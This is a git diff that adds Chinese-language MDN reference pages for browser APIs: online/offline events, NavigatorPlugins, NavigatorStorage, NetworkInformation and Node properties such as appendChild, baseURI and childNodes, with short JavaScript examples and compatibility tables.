Firefox 3 引入了两个新事件:「online」与「offline」。当浏览器从在线与离线状态中切换时,这两个事件会在页面的 <body> 上触发。此外,该事件会从 document.body 冒泡到 document 上,最后到达 window。两个事件都无法被取消(你无法阻止用户进入在线或离线状态)。

+ +

你可以使用几种熟悉的方式来注册事件:

+ + + +

示例

+ +

运行这个简单的例子来验证事件。

+ +

这是 JavaScript 部分的代码:

+ +
window.addEventListener('load', function() {
+  var status = document.getElementById("status");
+  var log = document.getElementById("log");
+
+  function updateOnlineStatus(event) {
+    var condition = navigator.onLine ? "online" : "offline";
+
+    status.className = condition;
+    status.innerHTML = condition.toUpperCase();
+
+    log.insertAdjacentHTML("beforeend", "Event: " + event.type + "; Status: " + condition);
+  }
+
+  window.addEventListener('online',  updateOnlineStatus);
+  window.addEventListener('offline', updateOnlineStatus);
+});
+ +

再加上一点儿 CSS

+ +
#status {
+  position: fixed;
+  width: 100%;
+  font: bold 1em sans-serif;
+  color: #FFF;
+  padding: 0.5em;
+}
+
+#log {
+  padding: 2.5em 0.5em 0.5em;
+  font: 1em sans-serif;
+}
+
+.online {
+  background: green;
+}
+
+.offline {
+  background: red;
+}
+
+ +

对应的 HTMLXXX When mochitests for this are created, point to those instead and update this example -nickolay

+ +
<div id="status"></div>
+<div id="log"></div>
+<p>This is a test</p>
+
+ +

注意

+ +

如果浏览器没有实现该 API,你可以使用其他方式来检测是否离线,包括 AppCache 错误事件 和 XMLHttpRequest 的响应

+ +

参考

+ + + +
{{ HTML5ArticleTOC() }}
diff --git a/files/zh-cn/web/api/navigatorplugins/index.html b/files/zh-cn/web/api/navigatorplugins/index.html new file mode 100644 index 0000000000..bb342bcb6d --- /dev/null +++ b/files/zh-cn/web/api/navigatorplugins/index.html @@ -0,0 +1,105 @@ +--- +title: NavigatorPlugins +slug: Web/API/NavigatorPlugins +translation_of: Web/API/NavigatorPlugins +--- +

{{APIRef("HTML DOM")}}{{SeeCompatTable}}

+ +

The NavigatorPlugins interface contains methods and properties related to the plugins installed in the browser.

+ +

There is no object of type NavigatorPlugins, but other interfaces, like {{domxref("Navigator")}}, implement it.

+ +

Properties

+ +
+
{{domxref("NavigatorPlugins.mimeTypes")}} {{readonlyInline}}{{experimental_inline}}
+
Returns an {{domxref("MimeTypeArray")}} listing the MIME types supported by the browser.
+
{{domxref("NavigatorPlugins.plugins")}} {{readonlyInline}}{{experimental_inline}}
+
Returns a {{domxref("PluginArray")}} listing the plugins installed in the browser.
+
+ +

Methods

+ +

The NavigatorPlugins interface doesn't inherit any method.

+ +
+
{{domxref("NavigatorPlugins.javaEnabled")}} {{readonlyInline}}{{experimental_inline}}
+
Returns a {{domxref("Boolean")}} flag indicating whether the host browser is Java-enabled or not.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#navigatorplugins', 'NavigatorPlugins')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/navigatorplugins/javaenabled/index.html b/files/zh-cn/web/api/navigatorplugins/javaenabled/index.html new file mode 100644 index 0000000000..4cee281575 --- /dev/null +++ b/files/zh-cn/web/api/navigatorplugins/javaenabled/index.html @@ -0,0 +1,30 @@ +--- +title: NavigatorPlugins.javaEnabled +slug: Web/API/NavigatorPlugins/javaEnabled +translation_of: Web/API/NavigatorPlugins/javaEnabled +--- +

{{ APIRef("HTML DOM") }}

+ +

概述

+ +

该方法用来表明当前浏览器是否激活了Java.

+ +

语法

+ +
result = window.navigator.javaEnabled()
+
+ +

例子

+ +
if (window.navigator.javaEnabled()) {
+   // 浏览器中Java可用
+}
+
+ +

备注

+ +

该方法的返回值是用来表明浏览器的当前配置文件是否允许使用Java的, 而不是表明浏览器是否支持Java(安装有Java插件).

+ +

规范

+ +

{{ DOM0() }}

diff --git a/files/zh-cn/web/api/navigatorplugins/mimetypes/index.html b/files/zh-cn/web/api/navigatorplugins/mimetypes/index.html new file mode 100644 index 0000000000..dea1462c98 --- /dev/null +++ b/files/zh-cn/web/api/navigatorplugins/mimetypes/index.html @@ -0,0 +1,39 @@ +--- +title: NavigatorPlugins.mimeTypes +slug: Web/API/NavigatorPlugins/mimeTypes +translation_of: Web/API/NavigatorPlugins/mimeTypes +--- +
{{ ApiRef("HTML DOM") }}
+ +
 
+ +

概述

+ +

返回一个{{domxref("MimeTypeArray")}}对象,其中包含可被当前浏览器识别的{{domxref("MimeType")}}对象的列表。

+ +

语法

+ +
mimeTypes = navigator.mimeTypes;
+
+ +

mimeTypes 是一个 MimeTypeArray 对象,其中含有 length 属性、item(index) 和 namedItem(name) 方法。

+ +

示例

+ +
function isJavaPresent() {
+  return 'application/x-java-applet' in navigator.mimeTypes;
+}
+
+function getJavaPluginDescription() {
+  var mimetype = navigator.mimeTypes['application/x-java-applet'];
+  if (mimetype === undefined) {
+    // no Java plugin present
+    return undefined;
+  }
+  return mimetype.enabledPlugin.description;
+}
+
+ +

Specification

+ +

mimeTypes 并未包含在任何规范中。

diff --git a/files/zh-cn/web/api/navigatorplugins/plugins/index.html b/files/zh-cn/web/api/navigatorplugins/plugins/index.html new file mode 100644 index 0000000000..9953dd916e --- /dev/null +++ b/files/zh-cn/web/api/navigatorplugins/plugins/index.html @@ -0,0 +1,95 @@ +--- +title: NavigatorPlugins.plugins +slug: Web/API/NavigatorPlugins/plugins +tags: + - API + - DOM + - Navigator + - NavigatorPlugins + - Reference +translation_of: Web/API/NavigatorPlugins/plugins +--- +

{{APIRef("HTML DOM")}}

+ +

返回一个 {{ domxref("PluginArray") }} 类型的对象, 包含了当前所使用的浏览器安装的所有插件。

+ +
+

在Firefox 29及之后的版本,出于隐私考虑,navigator.plugins 数组的枚举可能会被限制。如果一定要检查是否存在某个浏览器插件,应该用准确的插件名字查询 navigator.plugins  或 {{DOMxRef("navigator.mimeTypes")}} ,而不是枚举 navigator.plugins  数组,再对比每个插件的名字。 这项有关隐私的改变不会禁用任何插件,只是将插件名字从枚举中隐藏了而已。

+
+ +

语法

+ +
plugins = navigator.plugins;
+
+ +

plugins 是一个 {{DOMxRef("PluginArray")}} 对象,通过名字或项目列表获取 {{DOMxRef("Plugin")}} 对象。

+ +

返回值不是一个普通的JavaScript数组,但是它也有 length 属性,也可以使用plugins[index]来获取到每个元素的值, 例如(plugins{{ mediawiki.external("2") }}), 效果和使用 item(index) 以及 namedItem("name") 是一样的.

+ +

示例

+ +

下述示例中的函数返回Shockwave Flash插件的版本。

+ +
function getFlashVersion() {
+  var flash = navigator.plugins.namedItem('Shockwave Flash');
+  if (typeof flash != 'object') {
+    // flash is not present
+    return undefined;
+  }
+  if(flash.version){
+    return flash.version;
+  } else {
+    //No version property (e.g. in Chrome)
+    return flash.description.replace(/Shockwave Flash /,"");
+  }
+}
+
+ +

下述示例可显示已安装插件的信息。

+ +
var pluginsLength = navigator.plugins.length;
+
+document.body.innerHTML = pluginsLength + " Plugin(s)<br>"
+  + '<table id="pluginTable"><thead>'
+  +'<tr><th>Name</th><th>Filename</th><th>description</th><th>version</th></tr>'
+  +'</thead><tbody></tbody></table>';
+
+var table = document.getElementById('pluginTable');
+
+for(var i = 0; i < pluginsLength; i++) {
+  let newRow = table.insertRow();
+  newRow.insertCell().textContent = navigator.plugins[i].name;
+  newRow.insertCell().textContent = navigator.plugins[i].filename;
+  newRow.insertCell().textContent = navigator.plugins[i].description;
+  newRow.insertCell().textContent = navigator.plugins[i].version?navigator.plugins[i].version:"";
+}
+
+ +

备注

+ +

{{DOMxRef("Plugin")}}对象提供一个小型接口,用于获取浏览器中安装的各种插件的信息。你也可以进入 about:plugins 页面,来查看浏览器上安装的插件(Chrome已移除该入口)。

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('HTML WHATWG', '#dom-navigator-plugins', 'NavigatorPlugins.plugins')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ +

{{Compat("api.NavigatorPlugins.plugins")}}

+ +

In addition to listing each plugin as a pseudo-array by zero-indexed numeric properties, Firefox provides properties that are the plugin name directly on the PluginArray object.

diff --git "a/files/zh-cn/web/api/navigatorplugins/\346\265\213\350\257\225\346\273\225\347\233\226/index.html" "b/files/zh-cn/web/api/navigatorplugins/\346\265\213\350\257\225\346\273\225\347\233\226/index.html" new file mode 100644 index 0000000000..3f9c09d768 --- /dev/null +++ "b/files/zh-cn/web/api/navigatorplugins/\346\265\213\350\257\225\346\273\225\347\233\226/index.html" @@ -0,0 +1,38 @@ +--- +title: 测试滕盖 +slug: Web/API/NavigatorPlugins/测试滕盖 +--- +
{{ ApiRef("HTML DOM") }}
+ +
 
+ +

Summary

+ +

Returns a {{domxref("MimeTypeArray")}} object, which contains a list of {{domxref("MimeType")}} objects representing the MIME types recognized by the browser.

+ +

Syntax

+ +
mimeTypes = navigator.mimeTypes;
+
+ +

mimeTypes is a MimeTypeArray object which has a length property as well as item(index) and namedItem(name) methods.

+ +

Example

+ +
function isJavaPresent() {
+  return 'application/x-java-applet' in navigator.mimeTypes;
+}
+
+function getJavaPluginDescription() {
+  var mimetype = navigator.mimeTypes['application/x-java-applet'];
+  if (mimetype === undefined) {
+    // no Java plugin present
+    return undefined;
+  }
+  return mimetype.enabledPlugin.description;
+}
+
+ +

Specification

+ +

This is not part of any specification.

diff --git a/files/zh-cn/web/api/navigatorstorage/index.html b/files/zh-cn/web/api/navigatorstorage/index.html new file mode 100644 index 0000000000..0f1524c350 --- /dev/null +++ b/files/zh-cn/web/api/navigatorstorage/index.html @@ -0,0 +1,70 @@ +--- +title: NavigatorStorage +slug: Web/API/NavigatorStorage +tags: + - API + - Interface + - Mixin + - Navigator + - NavigatorStorage + - NeedsTranslation + - Reference + - Secure context + - Storage + - Storage Standard + - TopicStub + - WorkerNavigator +translation_of: Web/API/NavigatorStorage +--- +

{{securecontext_header}}{{APIRef("Storage")}}

+ +

The NavigatorStorage {{Glossary("mixin")}} adds to the {{domxref("Navigator")}} and {{domxref("WorkerNavigator")}} interfaces the {{domxref("Navigator.storage")}} property, which provides access to the {{domxref("StorageManager")}} singleton used for controlling the persistence of data stores as well as obtaining information

+ +

{{AvailableInWorkers}}

+ +

There are many APIs which provide ways for Web content to store data on a user's computer, including {{Glossary("cookies")}}, the Web Storage API ({{domxref("Window.localStorage")}} and {{domxref("Window.sessionStorage")}}), and IndexedDB. The Storage Standard is designed to serve as a common basis for the implementation of all of those APIs and storage technologies, so that their constraints and configurations can be understood and controlled using a common set of methods and properties.

+ +

Properties

+ +
+
{{domxref("NavigatorStorage.storage", "storage")}} {{readonlyinline}}{{securecontext_inline}}
+
Returns the {{domxref("StorageManager")}} singleton object which is used to access the Storage Manager. Through the returned object, you can control persistence of data stores as well as get estimates of how much space is left for your site or appliation to store data.
+
+ +

Methods

+ +

The NavigatorStorage mixin has no methods.

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Storage')}}{{Spec2('Storage')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.NavigatorStorage")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/navigatorstorage/storage/index.html b/files/zh-cn/web/api/navigatorstorage/storage/index.html new file mode 100644 index 0000000000..631ec750bf --- /dev/null +++ b/files/zh-cn/web/api/navigatorstorage/storage/index.html @@ -0,0 +1,58 @@ +--- +title: NavigatorStorage.storage +slug: Web/API/NavigatorStorage/storage +tags: + - API + - Navigator + - WorkerNavigator + - 存储 + - 安全上下文 + - 属性 +translation_of: Web/API/NavigatorStorage/storage +--- +

{{securecontext_header}}{{APIRef("Storage")}}

+ +

 NavigatorStorage.storage 是一个只读属性,返回单例 {{domxref("StorageManager")}} 对象,用于访问当前网站或应用程序的浏览器整体存储功能的。 通过返回的对象,您可以检查和配置数据存储的持久性,并了解您的浏览器使用的大约多少空间用于本地存储。

+ +

语法

+ +
var storageManager = navigator.storage;
+
+ +

返回值

+ +

返回 {{domxref("StorageManager")}} 您可以用来维护数据的持久化存储,以及大致确定有多少空间来存储数据。

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Storage', '#navigatorstorage', 'navigator.storage')}}{{Spec2('Storage')}}Initial definition.
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.NavigatorStorage.storage")}}

+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/network_information_api/index.html b/files/zh-cn/web/api/network_information_api/index.html new file mode 100644 index 0000000000..38951b5d1a --- /dev/null +++ b/files/zh-cn/web/api/network_information_api/index.html @@ -0,0 +1,103 @@ +--- +title: 网络状况 API +slug: Web/API/Network_Information_API +translation_of: Web/API/Network_Information_API +--- +
{{SeeCompatTable}}
+ +

网络状态 API 可以获取到系统的网络连接信息,比如说连接方式是 WiFi 还是蜂窝。应用程序可以根据此信息为用户展现不同清晰度的内容。该 API 是由 {{domxref("NetworkInformation")}} 接口和 {{domxref("Navigator")}} 接口上新增的一个 {{domxref("Navigator.connection", "connection")}} 属性组成的。

+ +

侦测连接状态变化

+ +

下面是一个侦测用户设备连接状态变化的例子。

+ +
var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
+var type = connection.type;
+
+function updateConnectionStatus() {
+  console.log("设备的网络连接从" + type + "变成了" + connection.type);
+}
+
+connection.addEventListener('change', updateConnectionStatus);
+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Network Information', '', 'Network Information API')}}{{Spec2('Network Information')}}Initial specification
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support2.2 {{property_prefix("webkit")}}12.0[1]1.4{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] 在 Firefox 中,网络状况 API 可以通过 dom.netinfo.enabled 偏好选项来控制开启与否。

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/networkinformation/downlink/index.html b/files/zh-cn/web/api/networkinformation/downlink/index.html new file mode 100644 index 0000000000..8b3e902217 --- /dev/null +++ b/files/zh-cn/web/api/networkinformation/downlink/index.html @@ -0,0 +1,105 @@ +--- +title: NetworkInformation.downlink +slug: Web/API/NetworkInformation/downlink +translation_of: Web/API/NetworkInformation/downlink +--- +

{{SeeCompatTable}}{{APIRef("Network Information API")}}

+ +

downlink 是 {{domxref("NetworkInformation")}} 接口的一个只读属性,返回以Mb/s为单位的有效带宽,并保留该值为25kb/s的最接近的整数倍。该值基于最近监测的保持活跃连接的应用层吞吐量,排除了到私有地址空间的连接。当缺少最近的带宽测量数据时,该属性由底层连接技术属性决定。

+ +

Syntax

+ +
var downLink = NetworkInformation.downlink
+ +

Value

+ +

{{jsxref("double")}} 双精度浮点数。

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Network Information','#dom-networkinformation-downlink','downlink')}}{{Spec2('Network Information')}}Initial definition.
+ +

Browser Compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(61)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOpera(48)}}{{CompatUnknown}}
Available in workers{{CompatChrome(61)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOpera(48)}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatChrome(50)}}{{CompatChrome(38)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOperaMobile(37)}}{{CompatUnknown}}
Available in workers{{CompatChrome(50)}}{{CompatChrome(38)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOperaMobile(37)}}{{CompatUnknown}}
+
diff --git a/files/zh-cn/web/api/networkinformation/index.html b/files/zh-cn/web/api/networkinformation/index.html new file mode 100644 index 0000000000..a78634c7ed --- /dev/null +++ b/files/zh-cn/web/api/networkinformation/index.html @@ -0,0 +1,134 @@ +--- +title: NetworkInformation +slug: Web/API/NetworkInformation +translation_of: Web/API/NetworkInformation +--- +
{{APIRef("Network Information API")}}{{SeeCompatTable}}
+ +

NetworkInformation 提供有关设备正在使用的连接与网络进行通信的信息,并提供了在连接类型更改时通知脚本的事件。NetworkInformation 接口不能被是实例化, 而是通过 {{domxref("Navigator")}} 的 connection 属性进行访问。

+ +

{{AvailableInWorkers}}

+ +

Properties

+ +

这些属性接口继承自 {{domxref("EventTarget")}}.

+ +
+
{{domxref("NetworkInformation.type")}} {{readonlyinline}}
+
返回设备正在与网络进行通信的连接类型。 它将是以下值之一: +
    +
  • bluetooth
  • +
  • cellular
  • +
  • ethernet
  • +
  • none
  • +
  • wifi
  • +
  • wimax
  • +
  • other
  • +
  • unknown
  • +
+
+
{{domxref("NetworkInformation.downlinkMax")}} {{readonlyinline}}
+
返回基础连接技术的最大下载速度(Mbps)。
+
+ +

Event handlers

+ +
+
{{domxref("NetworkInformation.onchange")}}
+
当连接信息更改并在此对象上触发更改时触发的 {{event("change")}}  。
+
+ +

Methods

+ +

这些属性接口同样继承自 {{domxref("EventTarget")}}.

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Network Information', '#idl-def-NetworkInformation', 'NetworkInformation')}}{{Spec2('Network Information')}}Initial definition
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support20 {{property_prefix("webkit")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatVersionUnknown}}{{CompatNo}}{{CompatGeckoMobile(31)}} {{property_prefix("moz")}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}
Available in workers{{CompatUnknown}}{{CompatNo}}{{CompatGeckoMobile(53)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/networkinformation/rtt/index.html b/files/zh-cn/web/api/networkinformation/rtt/index.html new file mode 100644 index 0000000000..94f0815718 --- /dev/null +++ b/files/zh-cn/web/api/networkinformation/rtt/index.html @@ -0,0 +1,106 @@ +--- +title: NetworkInformation.rtt +slug: Web/API/NetworkInformation/rtt +translation_of: Web/API/NetworkInformation/rtt +--- +

{{apiref("Network Information API")}}{{SeeCompatTable}}

+ +

NetworkInformation.rtt 是一个只读属性,返回了当前连接下评估的往返时延(RTT, round-trip time ),并保留该值为25千分秒的最接近的整数倍。该值基于最近使用中被监测的最近保持活跃连接的应用层上的RTT测量值。它排除了到私有地址空间的连接。如果没有最近的测量数据,该值就基于底层连接技术的属性。

+ +

{{AvailableInWorkers}}

+ +

Syntax

+ +
rtt = NetworkInformation.rtt
+ +

Return value

+ +

一个数字。

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Network Information', '#dom-networkinformation-rtt', 'rtt')}}{{Spec2('Network Information')}}Initial definition
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(61)}}{{CompatNo}}{{CompatNo}}{{CompatOpera(48)}}{{CompatNo}}
Available in workers{{CompatChrome(61)}}{{CompatNo}}{{CompatNo}}{{CompatOpera(48)}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatChrome(50)}}{{CompatChrome(38)}}{{CompatGeckoMobile("31")}}{{CompatNo}}{{CompatOperaMobile(37)}}{{CompatNo}}
Available in workers{{CompatChrome(50)}}{{CompatChrome(38)}}{{CompatGeckoMobile("53")}}{{CompatNo}}{{CompatOperaMobile(37)}}{{CompatNo}}
+
diff --git a/files/zh-cn/web/api/networkinformation/savedata/index.html b/files/zh-cn/web/api/networkinformation/savedata/index.html new file mode 100644 index 0000000000..e59c5e2c3f --- /dev/null +++ b/files/zh-cn/web/api/networkinformation/savedata/index.html @@ -0,0 +1,35 @@ +--- +title: NetworkInformation.saveData +slug: Web/API/NetworkInformation/saveData +translation_of: Web/API/NetworkInformation/saveData +--- +
{{APIRef("Network Information API")}}{{SeeCompatTable}}
+ +

NetworkInformation.saveData 是 {{domxref("NetworkInformation")}} 接口的只读属性, 如果用户设备上设置了减少数据使用的选项时返回 true .

+ +

语法

+ +
var saveData = NetworkInformation.saveData;
+ +

返回值

+ +

A {{jsxref('Boolean')}}.

+ +

参考

+ + + + + + + + + + +
参考
Save Data API
+ +

浏览器兼容性

+ + + +

{{Compat("api.NetworkInformation.saveData")}}

diff --git a/files/zh-cn/web/api/node/appendchild/index.html b/files/zh-cn/web/api/node/appendchild/index.html new file mode 100644 index 0000000000..b20068ef62 --- /dev/null +++ b/files/zh-cn/web/api/node/appendchild/index.html @@ -0,0 +1,109 @@ +--- +title: Node.appendChild +slug: Web/API/Node/appendChild +tags: + - API + - DOM + - Node + - 参考 + - 方法 + - 节点 +translation_of: Web/API/Node/appendChild +--- +
{{APIRef("DOM")}}
+ +

Node.appendChild() 方法将一个节点附加到指定父节点的子节点列表的末尾处。如果将被插入的节点已经存在于当前文档的文档树中,那么 appendChild() 只会将它从原先的位置移动到新的位置(不需要事先移除要移动的节点)。

+ +

这意味着,一个节点不可能同时出现在文档的不同位置。所以,如果某个节点已经拥有父节点,在被传递给此方法后,它首先会被移除,再被插入到新的位置。若要保留已在文档中的节点,可以先使用  {{domxref("Node.cloneNode()")}} 方法来为它创建一个副本,再将副本附加到目标父节点下。请注意,用 cloneNode 制作的副本不会自动保持同步。

+ +

如果给定的子节点是 {{domxref("DocumentFragment")}},那么 {{domxref("DocumentFragment")}} 的全部内容将转移到指定父节点的子节点列表中。

+ +
+

有更加新的 API 可供使用!
+ {{domxref("ParentNode.append()")}} 方法支持多个参数,接受字符串作为参数,会将字符串转换为文本节点再附加。

+
+ +

语法

+ +
element.appendChild(aChild)
+ +

参数

+ +
+
aChild
+
要追加给父节点(通常为一个元素)的节点。
+
+ +

返回值

+ +

返回追加后的子节点 (aChild),除非 aChild 是一个文档片段({{domxref("DocumentFragment")}}),这种情况下将返回空文档片段({{domxref("DocumentFragment")}})。

+ +

附注

+ +

如果你需要保留这个子节点在原先位置的显示,则你需要先用{{domxref("Node.cloneNode")}}方法复制出一个节点的副本,然后在插入到新位置.

+ +

这个方法只能将某个子节点插入到同一个文档的其他位置,如果你想跨文档插入,你需要先调用{{domxref("document.importNode")}}方法.

+ +

备注

+ +

由于 appendChild() 返回的是被附加的子元素,所以链式调用可能无法按照你的预期去执行:

+ +
let aBlock = document.createElement('block').appendChild( document.createElement('b') );
+ +

(上述代码)只会将 aBlock 设置为 <b></b> ,这可能不是你所想要的。

+ +

示例

+ +
// 创建一个新的段落元素 <p>,然后添加到 <body> 的最尾部
+var p = document.createElement("p");
+document.body.appendChild(p);
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('DOM WHATWG', '#dom-node-appendchild', 'Node.appendChild()')}}{{Spec2('DOM WHATWG')}} 未对{{SpecName("DOM3 Core")}}进行更改
{{SpecName('DOM3 Core', 'core.html#ID-184E7107', 'Node.appendChild()')}}{{Spec2('DOM3 Core')}} 未对{{SpecName("DOM2 Core")}}进行更改
{{SpecName('DOM2 Core', 'core.html#ID-184E7107', 'Node.appendChild()')}}{{Spec2('DOM2 Core')}} 未对{{SpecName("DOM1")}}进行更改
{{SpecName('DOM1', 'level-one-core.html#ID-184E7107', 'Node.appendChild()')}}{{Spec2('DOM1')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Node.appendChild")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/node/baseuri/index.html b/files/zh-cn/web/api/node/baseuri/index.html new file mode 100644 index 0000000000..aa6b22ab99 --- /dev/null +++ b/files/zh-cn/web/api/node/baseuri/index.html @@ -0,0 +1,69 @@ +--- +title: Node.baseURI +slug: Web/API/Node/baseURI +tags: + - + - API + - HTML + - Node.baseURI + - Property + - base +translation_of: Web/API/Node/baseURI +--- +
+
{{APIRef("DOM")}}
+
+ +

Node.baseURI 是只读属性,返回一个节点的绝对基址 URL。

+ +

当浏览器要获取绝对 URL 时,就需要用基 URL 去解析相对 URL。例如,解析 HTML {{HTMLElement("img")}} 元素的 src 属性时,或者 处理 XML xlink:href 属性时—。

+ +

一般情况下,基 URL 是 document 的 location ,但是它受诸多方面因素的影响,例如 HTML 的 {{HTMLElement("base")}} 元素和 XML xml:base 属性。

+ +

语法

+ +
var baseURI = node.baseURI;
+
+ + + +

概述

+ +

文档的基 URL

+ +

document 的默认基 URL 是文档的地址(浏览器显示的地址,可以通过{{domxref("window.location")}} 获取),但是可以通过如下方法修改:

+ + + +

详细信息请参阅 HTML Living standard 中关于基 URL 的章节

+ +

可以通过 {{domxref("document")}}.baseURI 获取文档的基 URL 。注意检查文档的基 URL 可能会每次请求返回不同的结果,因为 {{HTMLElement("base")}} 标签或文档的 location 可能被改变了。

+ +

元素的基 URL

+ +

元素的基 URL 一般和其所在的文档相同。

+ +

如果文档中有 xml:base 属性(不要在 HTML 文档中这样做),在 node.baseURI 计算基 URL 时,会把 xml:base 属性考虑进去。参考 xml:base 来了解更多。

+ +

可以通过 {{domxref("element")}}.baseURI 获取某个元素的基 URL。

+ +

规范

+ +

{{ spec("http://www.w3.org/TR/DOM-Level-3-Core/core.html#Node3-baseURI","DOM Level 3 Core: baseURI","REC") }}

+ +

参考

+ + + +

{{ languages( {"en": "en/DOM/Node.baseURI" } ) }}

diff --git a/files/zh-cn/web/api/node/baseuriobject/index.html b/files/zh-cn/web/api/node/baseuriobject/index.html new file mode 100644 index 0000000000..759f97eb6a --- /dev/null +++ b/files/zh-cn/web/api/node/baseuriobject/index.html @@ -0,0 +1,18 @@ +--- +title: Node.baseURIObject +slug: Web/API/Node/baseURIObject +translation_of: Web/API/Node +--- +
+ {{ApiRef}} {{Fx_minversion_header("3")}} {{Non-standard_header}}
+

概述

+

baseURIObject属性返回一个代表当前节点(通常是文档节点或元素节点)的基URL的{{Interface("nsIURI")}}对象.该属性类似与{{domxref("Node.baseURI")}},只是它返回的是一个包含更多信息的nsIURI对象,而不只是一个URL字符串.

+

该属性在所有类型的节点上都可用(HTML,XUL,SVG,MathML等),但脚本本身必须要有 UniversalXPConnect权限(XUL默认有这个权限,HTML没有).

+

查看{{domxref("Node.baseURI")}}了解基URL(base URL)是什么.

+

语法

+
uriObj = node.baseURIObject
+
+

附注

+

该属性只读,尝试为它赋值会抛出异常. 此外,这个属性只能从特权代码中访问.

+

规范

+

不属于任何规范,mozilla私有属性.

diff --git a/files/zh-cn/web/api/node/childnodes/index.html b/files/zh-cn/web/api/node/childnodes/index.html new file mode 100644 index 0000000000..182e6b177b --- /dev/null +++ b/files/zh-cn/web/api/node/childnodes/index.html @@ -0,0 +1,52 @@ +--- +title: Node.childNodes +slug: Web/API/Node/childNodes +tags: + - Gecko DOM Reference + - Property +translation_of: Web/API/Node/childNodes +--- +

{{ APIRef() }}

+

概述

+

Node.childNodes 返回包含指定节点的子节点的集合,该集合为即时更新的集合(live collection)。

+

语法

+
var ndList = elementNodeReference.childNodes;
+
+

ndList变量为 {{domxref("NodeList")}} 类型,且为只读。

+

例子

+
// parg 是一个到 <p> 元素的引用
+if (parg.hasChildNodes())
+// 首先我们检查它是否包含子节点
+ {
+   var children = parg.childNodes;
+   for (var i = 0; i < children.length; i++)
+   {
+   // children[i]就是遍历到的每个子节点.
+   // 注意:该NodeList对象为LIVE类型的NodeList, 添加或删除子节点都会实时的改变整个NodeList对象.
+   };
+ };
+
+
//下面的方法可以删除节点box的所有子节点
+while (box.firstChild)
+ {
+    //box为LIVE类型的NodeList,所以firstChild属性每次会指向不同的子节点
+    box.removeChild(box.firstChild);
+ };
+
+

备注

+

集合的元素是一个节点而不是字符串。要从集合的元素获取数据,你必须使用它们的属性(例如:用 elementNodeReference.childNodes{{ mediawiki.external("1") }}.nodeName 获取它们的名称,等等)。

+

document节点(文档节点)包含两个子节点: Doctype 声明和根节点。根节点通常为 documentElement 引用,且在 (X)HTML 文档中为 HTML 元素。
